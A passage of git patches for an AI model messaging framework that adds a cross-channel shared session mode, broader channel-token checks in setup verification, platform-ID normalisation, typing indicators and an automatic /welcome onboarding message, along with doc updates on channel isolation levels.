primary (or sole) participant across channels and you want a unified agent identity. This is the most common setup for personal use across multiple platforms or multiple groups within one platform. + +**Technical:** Multiple messaging groups are wired to the same agent group with `session_mode: 'shared'` (or `'per-thread'`). Each messaging group gets its own session, but they all run in the same agent group folder. + +--- + +### 3. Separate Agent Groups + +Each channel gets its own agent with its own workspace, memory, and personality. Nothing is shared. + +**What's shared:** Nothing. The agents don't know about each other. Different CLAUDE.md, different memory, different workspace, different conversation history. + +**Example:** You have a Telegram group with a friend and a Discord server for a team project. The friend shouldn't know what you discuss with your team, and vice versa. Each gets its own agent with its own memory and personality. + +**When to use:** When different people are involved, or when the information in one channel should never leak to another. This is the right choice whenever there's a privacy or confidentiality boundary between channels. + +**Technical:** Each channel is wired to a different agent group, each with its own folder under `groups/`. Separate containers, separate session databases, separate everything. + +--- + +## How to Decide + +The key question: **Are you okay with any and every piece of information from one channel being available in the other?** + +- **No** → Separate agent groups (level 3) +- **Yes, and the channels should see each other's messages** → Shared session (level 1) +- **Yes, but the conversations should be independent** → Same agent, separate sessions (level 2) + +### Rules of Thumb + +| Scenario | Recommended Level | +|----------|------------------| +| Just you, multiple platforms (Telegram + Discord + Slack) | Same agent, separate sessions | +| Just you, multiple groups on one platform (3 Telegram chats) | Same agent, separate sessions | +| Webhook channel + chat channel (GitHub + Slack) | Shared session | +| Channel with friend A and channel with friend B | Separate agent groups | +| Personal channel and work channel | Separate agent groups | +| Team channel with different access levels | Separate agent groups | + +### When in Doubt + +If the participants are the same across channels → same agent group is usually fine. + +If different people are involved → separate agent groups. Information will cross-pollinate through agent memory if you don't. + +## Entity Model + +``` +agent_groups (workspace, memory, CLAUDE.md, personality) + ↕ many-to-many +messaging_groups (a specific channel/chat/group on a platform) + via +messaging_group_agents (session_mode, trigger_rules, priority) +``` + +- **Shared session:** multiple messaging_groups → same agent_group, `session_mode = 'agent-shared'` +- **Same agent, separate sessions:** multiple messaging_groups → same agent_group, `session_mode = 'shared'` +- **Separate agents:** each messaging_group → different agent_group diff --git a/docs/v2-setup-wiring.md b/docs/v2-setup-wiring.md index 8b67d30..5432668 100644 --- a/docs/v2-setup-wiring.md +++ b/docs/v2-setup-wiring.md @@ -37,76 +37,31 @@ Last updated: 2026-04-09, branch `v2`, commit `1dc5750` --- -## What's NOT Done — Remaining Work for Fresh Install +## Previously Open — Now Resolved -### 1. v2 Channel Skills Don't Register Groups +### 1. ~~v2 Channel Skills Don't Register Groups~~ ✅ -**Problem:** The v2 channel skills (`.claude/skills/add-telegram-v2/SKILL.md`, `add-slack-v2`, `add-linear-v2`, etc.) only do: -- Install npm package -- Uncomment barrel import -- Collect credentials → write to `.env` -- Build and verify +Channel skills now point to `/manage-channels` in their "Next Steps" section. Registration is handled by the `/manage-channels` skill, which reads each channel's `## Channel Info` section for platform-specific guidance. Channel skills stay lean (credentials only). -They do NOT create agent groups, messaging groups, or wiring in the v2 central DB. Without these DB entities, the router auto-creates a `messaging_group` on first message but finds no `messaging_group_agents` → message is silently dropped (now logged as WARN). +### 2. ~~v1 add-discord Skill is Incompatible~~ ✅ -**Fix needed:** Each v2 channel skill needs a registration phase that calls: -```bash -npx tsx setup/index.ts --step register -- \ - --platform-id "" \ - --name "" \ - --folder "" \ - --trigger "@BotName" \ - --channel \ - --is-main # (if this is the primary group) -``` +Created `/add-discord-v2` skill matching the v2 pattern. Setup SKILL.md updated to reference `/add-discord-v2`. -Or alternatively, add a dedicated "register groups" step to `setup/SKILL.md` between step 5 (channels) and step 6 (mounts). This step would: -1. Ask the user how many agent groups they want -2. For each group: name, folder, which channels it handles, trigger pattern, session mode -3. Call `setup/register.ts` for each +### 3. ~~Setup SKILL.md Missing Group Registration Step~~ ✅ -### 2. v1 add-discord Skill is Incompatible +Added step 5a "Wire Channels to Agent Groups" between channel installation (step 5) and mount allowlist (step 6). This step invokes `/manage-channels` which handles agent group creation, isolation level decisions, and wiring. -**Problem:** Setup SKILL.md line 263 references `/add-discord` (v1 skill). This skill: -- Tries to merge a branch (`feat/discord`) -- Uses `--jid "dc:"` format -- References `store/messages.db` for verification -- Creates a v1 DiscordChannel class (we now use Chat SDK) +### 4. ~~Channel Skills Should Know Channel Type~~ ✅ -**Fix needed:** Either: -- Create a `/add-discord-v2` skill matching the pattern of other v2 skills -- Or update the existing `/add-discord` skill for v2 -- Update `setup/SKILL.md` line 263 to reference the correct skill +Each v2 channel skill now has a `## Channel Info` structured section with: type, terminology, how-to-find-id, supports-threads, typical-use, default-isolation. The `/manage-channels` skill reads this for contextual recommendations. -### 3. Setup SKILL.md Missing Group Registration Step +### 5. ~~Verify Step Channel Auth Check~~ ✅ -**Problem:** The setup flow (steps 0-9) has no step for creating agent groups. Channels get configured (step 5) but nobody creates the v2 entities needed for routing. +`setup/verify.ts` now checks all v2 channel tokens: DISCORD_BOT_TOKEN, TELEGRAM_BOT_TOKEN, SLACK_BOT_TOKEN+SLACK_APP_TOKEN, GITHUB_TOKEN, LINEAR_API_KEY, GCHAT_CREDENTIALS, TEAMS_APP_ID+TEAMS_APP_PASSWORD, WEBEX_BOT_TOKEN, MATRIX_ACCESS_TOKEN, RESEND_API_KEY, WHATSAPP_ACCESS_TOKEN, IMESSAGE_ENABLED, plus WhatsApp Baileys auth dir. -**Fix needed:** Add a step (probably between current step 5 and 6, or as part of step 5) that: -1. Asks "What do you want to name your assistant?" (already partially handled by `--assistant-name`) -2. Asks which channel+platform-id is the primary/admin channel -3. Creates the agent_group with `is_admin=1` -4. Creates messaging_group + messaging_group_agents wiring -5. Optionally creates additional non-admin agent groups +### 6. Agent-Shared Session Mode ✅ -The v1 flow embedded this in each channel skill's "Register" phase. The v2 flow should either do the same (add register calls to each v2 channel skill) or centralize it. - -### 4. Setup Groups Step (`setup/groups.ts`) - -Check if `setup/groups.ts` exists and what it does. It may need updating for v2 or may need to be created. - -### 5. Channel Skills Should Know Channel Type - -Each v2 channel skill knows its channel type (discord, telegram, slack, etc.) but the registration args need the platform-specific channel/group ID which the user must provide. The skill should ask for this during Phase 3 (Setup) and then call register. - -### 6. Verify Step Channel Auth Check - -`setup/verify.ts` currently checks for a limited set of channel tokens: -- TELEGRAM_BOT_TOKEN, SLACK_BOT_TOKEN, SLACK_APP_TOKEN, DISCORD_BOT_TOKEN -- WhatsApp auth dir - -It should also check for v2 channel tokens: -- GITHUB_TOKEN, LINEAR_API_KEY, GCHAT_CREDENTIALS, TEAMS_APP_PASSWORD, etc. +Added `session_mode: 'agent-shared'` for cross-channel shared sessions (e.g. GitHub + Slack in one conversation). Session resolution looks up by agent_group_id instead of messaging_group_id when this mode is set. --- diff --git a/setup/verify.ts b/setup/verify.ts index 3d47174..566cc9b 100644 --- a/setup/verify.ts +++ b/setup/verify.ts @@ -112,29 +112,40 @@ export async function run(_args: string[]): Promise { 'SLACK_BOT_TOKEN', 'SLACK_APP_TOKEN', 'DISCORD_BOT_TOKEN', + 'GITHUB_TOKEN', + 'LINEAR_API_KEY', + 'GCHAT_CREDENTIALS', + 'TEAMS_APP_ID', + 'TEAMS_APP_PASSWORD', + 'WEBEX_BOT_TOKEN', + 'MATRIX_ACCESS_TOKEN', + 'RESEND_API_KEY', + 'WHATSAPP_ACCESS_TOKEN', + 'IMESSAGE_ENABLED', ]); + const has = (key: string) => !!(process.env[key] || envVars[key]); const channelAuth: Record = {}; - // WhatsApp: check for auth credentials on disk + // WhatsApp Baileys: check for auth credentials on disk const authDir = path.join(projectRoot, 'store', 'auth'); if (fs.existsSync(authDir) && fs.readdirSync(authDir).length > 0) { channelAuth.whatsapp = 'authenticated'; } - // Token-based channels: check .env - if (process.env.TELEGRAM_BOT_TOKEN || envVars.TELEGRAM_BOT_TOKEN) { - channelAuth.telegram = 'configured'; - } - if ( - (process.env.SLACK_BOT_TOKEN || envVars.SLACK_BOT_TOKEN) && - (process.env.SLACK_APP_TOKEN || envVars.SLACK_APP_TOKEN) - ) { - channelAuth.slack = 'configured'; - } - if (process.env.DISCORD_BOT_TOKEN || envVars.DISCORD_BOT_TOKEN) { - channelAuth.discord = 'configured'; - } + // Token-based channels + if (has('DISCORD_BOT_TOKEN')) channelAuth.discord = 'configured'; + if (has('TELEGRAM_BOT_TOKEN')) channelAuth.telegram = 'configured'; + if (has('SLACK_BOT_TOKEN') && has('SLACK_APP_TOKEN')) channelAuth.slack = 'configured'; + if (has('GITHUB_TOKEN')) channelAuth.github = 'configured'; + if (has('LINEAR_API_KEY')) channelAuth.linear = 'configured'; + if (has('GCHAT_CREDENTIALS')) channelAuth.gchat = 'configured'; + if (has('TEAMS_APP_ID') && has('TEAMS_APP_PASSWORD')) channelAuth.teams = 'configured'; + if (has('WEBEX_BOT_TOKEN')) channelAuth.webex = 'configured'; + if (has('MATRIX_ACCESS_TOKEN')) channelAuth.matrix = 'configured'; + if (has('RESEND_API_KEY')) channelAuth.resend = 'configured'; + if (has('WHATSAPP_ACCESS_TOKEN')) channelAuth['whatsapp-cloud'] = 'configured'; + if (has('IMESSAGE_ENABLED')) channelAuth.imessage = 'configured'; const configuredChannels = Object.keys(channelAuth); const anyChannelConfigured = configuredChannels.length > 0; diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 615c28e..23271ed 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -11,7 +11,7 @@ export interface ConversationConfig { agentGroupId: string; triggerPattern?: string; // regex string (for native channels) requiresTrigger: boolean; - sessionMode: 'shared' | 'per-thread'; + sessionMode: 'shared' | 'per-thread' | 'agent-shared'; } /** Passed to the adapter at setup time. */ diff --git a/src/db/sessions.ts b/src/db/sessions.ts index c1c9ba5..c2373f3 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -27,6 +27,13 @@ export function findSession(messagingGroupId: string, threadId: string | null): .get(messagingGroupId, 'active') as Session | undefined; } +/** Find an active session scoped to an agent group (ignoring messaging group). */ +export function findSessionByAgentGroup(agentGroupId: string): Session | undefined { + return getDb() + .prepare("SELECT * FROM sessions WHERE agent_group_id = ? AND status = 'active' ORDER BY created_at DESC LIMIT 1") + .get(agentGroupId) as Session | undefined; +} + export function getSessionsByAgentGroup(agentGroupId: string): Session[] { return getDb().prepare('SELECT * FROM sessions WHERE agent_group_id = ?').all(agentGroupId) as Session[]; } diff --git a/src/session-manager.ts b/src/session-manager.ts index 20e4562..94a1d58 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -11,7 +11,7 @@ import fs from 'fs'; import path from 'path'; import { DATA_DIR } from './config.js'; -import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; +import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; import type { Session } from './types.js'; @@ -55,22 +55,35 @@ function generateId(): string { /** * Find or create a session for a messaging group + thread. - * Returns the session and whether it was newly created. + * + * Session modes: + * - 'shared': one session per messaging group (ignores threadId) + * - 'per-thread': one session per (messaging group, thread) + * - 'agent-shared': one session per agent group — all messaging groups + * wired with this mode share a single session (e.g. GitHub + Slack) */ export function resolveSession( agentGroupId: string, messagingGroupId: string, threadId: string | null, - sessionMode: 'shared' | 'per-thread', + sessionMode: 'shared' | 'per-thread' | 'agent-shared', ): { session: Session; created: boolean } { - const lookupThreadId = sessionMode === 'shared' ? null : threadId; - const existing = findSession(messagingGroupId, lookupThreadId); - - if (existing) { - return { session: existing, created: false }; + // agent-shared: single session per agent group, regardless of messaging group + if (sessionMode === 'agent-shared') { + const existing = findSessionByAgentGroup(agentGroupId); + if (existing) { + return { session: existing, created: false }; + } + } else { + const lookupThreadId = sessionMode === 'shared' ? null : threadId; + const existing = findSession(messagingGroupId, lookupThreadId); + if (existing) { + return { session: existing, created: false }; + } } const id = generateId(); + const lookupThreadId = sessionMode === 'per-thread' ? threadId : null; const session: Session = { id, agent_group_id: agentGroupId, @@ -85,7 +98,7 @@ export function resolveSession( createSession(session); initSessionFolder(agentGroupId, id); - log.info('Session created', { id, agentGroupId, messagingGroupId, threadId: lookupThreadId }); + log.info('Session created', { id, agentGroupId, messagingGroupId, threadId: lookupThreadId, sessionMode }); return { session, created: true }; } diff --git a/src/types.ts b/src/types.ts index 7b202bb..5d473d6 100644 --- a/src/types.ts +++ b/src/types.ts @@ -26,7 +26,7 @@ export interface MessagingGroupAgent { agent_group_id: string; trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } response_scope: 'all' | 'triggered' | 'allowlisted'; - session_mode: 'shared' | 'per-thread'; + session_mode: 'shared' | 'per-thread' | 'agent-shared'; priority: number; created_at: string; } From d656b5ccc1d71d1b85f193b37a9aaca35489ef00 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:36:45 +0300 Subject: [PATCH 031/295] fix: Chat SDK bridge delivery and typing for non-Discord adapters MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Use platformId directly as thread ID in deliver() and setTyping() instead of calling encodeThreadId with Discord-shaped args — platformId is already in the adapter's encoded format (e.g. "telegram:6037840640") - Add triggerTyping() in delivery.ts, call from router on message route - Enable Telegram channel in barrel - Verified E2E: Telegram message in → agent → typing indicator → response Co-Authored-By: Claude Opus 4.6 (1M context) --- groups/global/CLAUDE.md | 4 ++-- groups/main/CLAUDE.md | 4 ++-- src/channels/chat-sdk-bridge.ts | 6 ++++-- src/channels/index.ts | 2 +- src/delivery.ts | 9 +++++++++ src/router.ts | 6 +++++- 6 files changed, 23 insertions(+), 8 deletions(-) diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index 11988bc..b3c44c6 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -1,6 +1,6 @@ -# Andy +# Main -You are Andy, a personal assistant. You help with tasks, answer questions, and can schedule reminders. +You are Main, a personal assistant. You help with tasks, answer questions, and can schedule reminders. ## What You Can Do diff --git a/groups/main/CLAUDE.md b/groups/main/CLAUDE.md index de934f2..c8c0e9f 100644 --- a/groups/main/CLAUDE.md +++ b/groups/main/CLAUDE.md @@ -1,6 +1,6 @@ -# Andy +# Main -You are Andy, a personal assistant. You help with tasks, answer questions, and can schedule reminders. +You are Main, a personal assistant. You help with tasks, answer questions, and can schedule reminders. ## What You Can Do diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index e87e098..1d84b00 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -162,7 +162,9 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, async deliver(platformId: string, threadId: string | null, message) { - const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + // platformId is already in the adapter's encoded format (e.g. "telegram:6037840640", + // "discord:guildId:channelId") — use it directly as the thread ID + const tid = threadId ?? platformId; const content = message.content as Record; if (content.operation === 'edit' && content.messageId) { @@ -210,7 +212,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter }, async setTyping(platformId: string, threadId: string | null) { - const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + const tid = threadId ?? platformId; await adapter.startTyping(tid); }, diff --git a/src/channels/index.ts b/src/channels/index.ts index f01c35a..6efec66 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -8,7 +8,7 @@ import './discord.js'; // import './slack.js'; // telegram -// import './telegram.js'; +import './telegram.js'; // github // import './github.js'; diff --git a/src/delivery.ts b/src/delivery.ts index 35a41c2..12676f3 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -42,6 +42,15 @@ export function setDeliveryAdapter(adapter: ChannelDeliveryAdapter): void { deliveryAdapter = adapter; } +/** Show typing indicator on a channel. Called when a message is routed to the agent. */ +export async function triggerTyping(channelType: string, platformId: string, threadId: string | null): Promise { + try { + await deliveryAdapter?.setTyping?.(channelType, platformId, threadId); + } catch { + // Typing is best-effort — don't fail routing if it errors + } +} + /** Start the active container poll loop (~1s). */ export function startActiveDeliveryPoll(): void { if (activePolling) return; diff --git a/src/router.ts b/src/router.ts index e565d9f..658c117 100644 --- a/src/router.ts +++ b/src/router.ts @@ -5,6 +5,7 @@ * → resolve/create session → write messages_in → wake container */ import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { triggerTyping } from './delivery.js'; import { log } from './log.js'; import { resolveSession, writeSessionMessage } from './session-manager.js'; import { wakeContainer } from './container-runner.js'; @@ -99,7 +100,10 @@ export async function routeInbound(event: InboundEvent): Promise { created, }); - // 5. Wake container + // 5. Show typing indicator while agent processes + triggerTyping(event.channelType, event.platformId, event.threadId); + + // 6. Wake container const freshSession = getSession(session.id); if (freshSession) { await wakeContainer(freshSession); From 6941e373660088779445616fb17777c16d330317 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:38:23 +0300 Subject: [PATCH 032/295] fix: auto-prefix platform IDs in register.ts to match Chat SDK format Chat SDK adapters use prefixed platform IDs (e.g. "telegram:6037840640", "discord:guildId:channelId") but users provide raw IDs during setup. Without the prefix, the router can't match the registered messaging group to incoming messages and silently drops them. register.ts now auto-prefixes with the channel type if not already present. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 2 +- setup/register.ts | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index bdadabe..3317d44 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -43,7 +43,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Chat SDK SQLite state adapter (KV, subscriptions, locks, lists) - [x] Discord via Chat SDK - [~] Slack via Chat SDK (adapter + skill written, not tested) -- [~] Telegram via Chat SDK (adapter + skill written, not tested) +- [x] Telegram via Chat SDK (E2E verified: inbound, routing, typing, delivery) - [~] Microsoft Teams via Chat SDK (adapter + skill written, not tested) - [~] Google Chat via Chat SDK (adapter + skill written, not tested) - [~] Linear via Chat SDK (adapter + skill written, not tested) diff --git a/setup/register.ts b/setup/register.ts index a15e469..dacd8d2 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -118,6 +118,13 @@ export async function run(args: string[]): Promise { process.exit(4); } + // Chat SDK adapters prefix platform IDs with the channel type (e.g. "telegram:123", + // "discord:guild:channel"). Auto-prefix if the user provided a raw ID so the router + // matches the adapter's format. + if (parsed.platformId && !parsed.platformId.startsWith(`${parsed.channel}:`)) { + parsed.platformId = `${parsed.channel}:${parsed.platformId}`; + } + log.info('Registering channel', parsed); // Init v2 central DB From 9f5c37fc4c88ec0689fa82103c238201b6e38845 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:39:40 +0300 Subject: [PATCH 033/295] fix: handle platform ID prefix mismatch in router, not register Move prefix handling from register.ts to router.ts. Users register with raw platform IDs (what they naturally have), adapters send prefixed IDs (their internal format). Router now tries stripping the channel type prefix when the exact lookup fails, matching either format. Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 7 ------- src/router.ts | 8 ++++++++ 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index dacd8d2..a15e469 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -118,13 +118,6 @@ export async function run(args: string[]): Promise { process.exit(4); } - // Chat SDK adapters prefix platform IDs with the channel type (e.g. "telegram:123", - // "discord:guild:channel"). Auto-prefix if the user provided a raw ID so the router - // matches the adapter's format. - if (parsed.platformId && !parsed.platformId.startsWith(`${parsed.channel}:`)) { - parsed.platformId = `${parsed.channel}:${parsed.platformId}`; - } - log.info('Registering channel', parsed); // Init v2 central DB diff --git a/src/router.ts b/src/router.ts index 658c117..89723fc 100644 --- a/src/router.ts +++ b/src/router.ts @@ -34,7 +34,15 @@ export interface InboundEvent { */ export async function routeInbound(event: InboundEvent): Promise { // 1. Resolve messaging group + // Adapters send prefixed platform IDs (e.g. "telegram:123") but users may + // register with raw IDs ("123"). Try exact match first, then stripped prefix. let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); + if (!mg) { + const prefix = `${event.channelType}:`; + if (event.platformId.startsWith(prefix)) { + mg = getMessagingGroupByPlatform(event.channelType, event.platformId.slice(prefix.length)); + } + } if (!mg) { // Auto-create messaging group (adapter already decided to forward this) From a2badbd525e22bd5fc76594211b62036574b3c7b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:41:07 +0300 Subject: [PATCH 034/295] fix: normalize platform ID at registration, not router lookup Channel adapters prefix platform IDs with their channel type (e.g. "telegram:123"). Normalize in register.ts so the DB always stores the canonical format. Removes fallback lookup from router. Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 7 +++++++ src/router.ts | 8 -------- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index a15e469..51f2192 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -118,6 +118,13 @@ export async function run(args: string[]): Promise { process.exit(4); } + // Chat SDK adapters prefix platform IDs with the channel type + // (e.g. "telegram:123", "discord:guild:channel"). Normalize here so + // the stored ID always matches what the adapter sends at runtime. + if (!parsed.platformId.startsWith(`${parsed.channel}:`)) { + parsed.platformId = `${parsed.channel}:${parsed.platformId}`; + } + log.info('Registering channel', parsed); // Init v2 central DB diff --git a/src/router.ts b/src/router.ts index 89723fc..658c117 100644 --- a/src/router.ts +++ b/src/router.ts @@ -34,15 +34,7 @@ export interface InboundEvent { */ export async function routeInbound(event: InboundEvent): Promise { // 1. Resolve messaging group - // Adapters send prefixed platform IDs (e.g. "telegram:123") but users may - // register with raw IDs ("123"). Try exact match first, then stripped prefix. let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); - if (!mg) { - const prefix = `${event.channelType}:`; - if (event.platformId.startsWith(prefix)) { - mg = getMessagingGroupByPlatform(event.channelType, event.platformId.slice(prefix.length)); - } - } if (!mg) { // Auto-create messaging group (adapter already decided to forward this) From 4a999ec97315f9169f7a5f9b1dc4758acfe7472b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:48:56 +0300 Subject: [PATCH 035/295] feat: auto-onboarding when a channel is registered MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After wiring a channel to an agent group, register.ts writes a task message to the session that triggers the /welcome container skill. The agent introduces itself immediately — the user sees typing and then a greeting without having to send a message first. Uses kind 'task' (not 'system') so the poll loop picks it up normally. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/skills/welcome/SKILL.md | 25 +++++++++++++++++++++++++ setup/register.ts | 19 +++++++++++++++++-- 2 files changed, 42 insertions(+), 2 deletions(-) create mode 100644 container/skills/welcome/SKILL.md diff --git a/container/skills/welcome/SKILL.md b/container/skills/welcome/SKILL.md new file mode 100644 index 0000000..371f4dd --- /dev/null +++ b/container/skills/welcome/SKILL.md @@ -0,0 +1,25 @@ +--- +name: welcome +description: Introduce yourself to a newly connected channel. Triggered automatically when a channel is first wired. Send a friendly greeting and brief overview of what you can do. +--- + +# /welcome — Channel Onboarding + +You've just been connected to a new messaging channel. Introduce yourself to the user. + +## What to do + +1. Send a short, friendly greeting using `send_message` +2. Mention your name (from your CLAUDE.md) +3. Briefly describe 2-3 things you can help with based on your configured skills and tools +4. Keep it to 2-4 sentences — don't overwhelm + +## Tone + +Warm but concise. This is a first impression — be helpful, not verbose. Match the channel's vibe (casual for Telegram/Discord, slightly more professional for Slack/Teams/email). + +## Example + +> Hey! I'm Andy, your assistant. I can help with coding tasks, answer questions, manage scheduled reminders, and work with files. Just send me a message anytime. + +Adapt based on your actual name and capabilities. Don't list every tool — pick the most useful ones. diff --git a/setup/register.ts b/setup/register.ts index 51f2192..9a999d4 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -19,6 +19,7 @@ import { } from '../src/db/messaging-groups.js'; import { isValidGroupFolder } from '../src/group-folder.js'; import { log } from '../src/log.js'; +import { resolveSession, writeSessionMessage } from '../src/session-manager.js'; import { emitStatus } from './status.js'; interface RegisterArgs { @@ -190,7 +191,21 @@ export async function run(args: string[]): Promise { log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); } - // 4. Create group folders + // 4. Send onboarding message — triggers the /welcome skill in the container + const { session } = resolveSession(agentGroup.id, messagingGroup.id, null, parsed.sessionMode as 'shared' | 'per-thread' | 'agent-shared'); + writeSessionMessage(agentGroup.id, session.id, { + id: generateId('onboard'), + kind: 'task', + timestamp: new Date().toISOString(), + platformId: parsed.platformId, + channelType: parsed.channel, + content: JSON.stringify({ + prompt: `A new ${parsed.channel} channel has been connected. Run /welcome to introduce yourself to the user.`, + }), + }); + log.info('Onboarding message written', { sessionId: session.id, channel: parsed.channel }); + + // 5. Create group folders fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { recursive: true }); // Create CLAUDE.md from template if it doesn't exist @@ -205,7 +220,7 @@ export async function run(args: string[]): Promise { } } - // 5. Update assistant name in CLAUDE.md files if different from default + // 6. Update assistant name in CLAUDE.md files if different from default let nameUpdated = false; if (parsed.assistantName !== 'Andy') { log.info('Updating assistant name', { from: 'Andy', to: parsed.assistantName }); From 5a309a0e2581066e02a6e08baa2189f65dff6ff9 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:49:58 +0300 Subject: [PATCH 036/295] fix: only send onboarding message on first wiring, not re-registration Co-Authored-By: Claude Opus 4.6 (1M context) --- setup/register.ts | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/setup/register.ts b/setup/register.ts index 9a999d4..8d018a4 100644 --- a/setup/register.ts +++ b/setup/register.ts @@ -169,8 +169,10 @@ export async function run(args: string[]): Promise { } // 3. Wire agent to messaging group + let newlyWired = false; const existing = getMessagingGroupAgentByPair(messagingGroup.id, agentGroup.id); if (!existing) { + newlyWired = true; const mgaId = generateId('mga'); const triggerRules = parsed.trigger ? JSON.stringify({ @@ -191,19 +193,21 @@ export async function run(args: string[]): Promise { log.info('Wired agent to messaging group', { mgaId, agentGroup: agentGroup.id, messagingGroup: messagingGroup.id }); } - // 4. Send onboarding message — triggers the /welcome skill in the container - const { session } = resolveSession(agentGroup.id, messagingGroup.id, null, parsed.sessionMode as 'shared' | 'per-thread' | 'agent-shared'); - writeSessionMessage(agentGroup.id, session.id, { - id: generateId('onboard'), - kind: 'task', - timestamp: new Date().toISOString(), - platformId: parsed.platformId, - channelType: parsed.channel, - content: JSON.stringify({ - prompt: `A new ${parsed.channel} channel has been connected. Run /welcome to introduce yourself to the user.`, - }), - }); - log.info('Onboarding message written', { sessionId: session.id, channel: parsed.channel }); + // 4. Send onboarding message — only on first wiring, not re-registration + if (newlyWired) { + const { session } = resolveSession(agentGroup.id, messagingGroup.id, null, parsed.sessionMode as 'shared' | 'per-thread' | 'agent-shared'); + writeSessionMessage(agentGroup.id, session.id, { + id: generateId('onboard'), + kind: 'task', + timestamp: new Date().toISOString(), + platformId: parsed.platformId, + channelType: parsed.channel, + content: JSON.stringify({ + prompt: `A new ${parsed.channel} channel has been connected. Run /welcome to introduce yourself to the user.`, + }), + }); + log.info('Onboarding message written', { sessionId: session.id, channel: parsed.channel }); + } // 5. Create group folders fs.mkdirSync(path.join(projectRoot, 'groups', parsed.folder, 'logs'), { recursive: true }); From e2dbc35a150d5fb5668c1da260e66da4defb8217 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:52:35 +0300 Subject: [PATCH 037/295] docs: add auto-onboarding to v2 checklist Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 3317d44..ea1d717 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -59,6 +59,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Channel Info metadata in each channel skill (type, terminology, how-to-find-id, isolation defaults) - [x] /manage-channels skill (wire channels to agent groups with three isolation levels) - [x] Agent-shared session mode (cross-channel shared sessions, e.g. GitHub + Slack) +- [x] Auto-onboarding on channel registration (/welcome skill triggered on first wiring) - [ ] Setup vs production channel separation - [ ] Generate visual diagram of customized instance at end of setup From 69939b7774a6e0fd4043b5e002cac3770dda0fd3 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 13:54:54 +0300 Subject: [PATCH 038/295] =?UTF-8?q?docs:=20fix=20v2=20checklist=20accuracy?= =?UTF-8?q?=20=E2=80=94=20pre-agent=20scripts,=20typing,=20stubs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Pre-agent scripts: [~] → [ ] (formatter references scriptOutput but no execution logic exists) - Add typing indicator as completed (triggerTyping in router) - Remove "stub exists" from register_group/reset_session (no stubs found) Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index ea1d717..25437e6 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -70,6 +70,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Session resolution (shared vs per-thread modes) - [x] Message writing to session DB with seq numbering - [x] Container waking on new message +- [x] Typing indicator triggered on message route - [~] Trigger rule matching (router picks highest-priority agent, regex/mention matching TODO) ## Rich Messaging @@ -104,7 +105,7 @@ Status: [x] done, [~] partial, [ ] not started - [x] Recurring tasks via cron 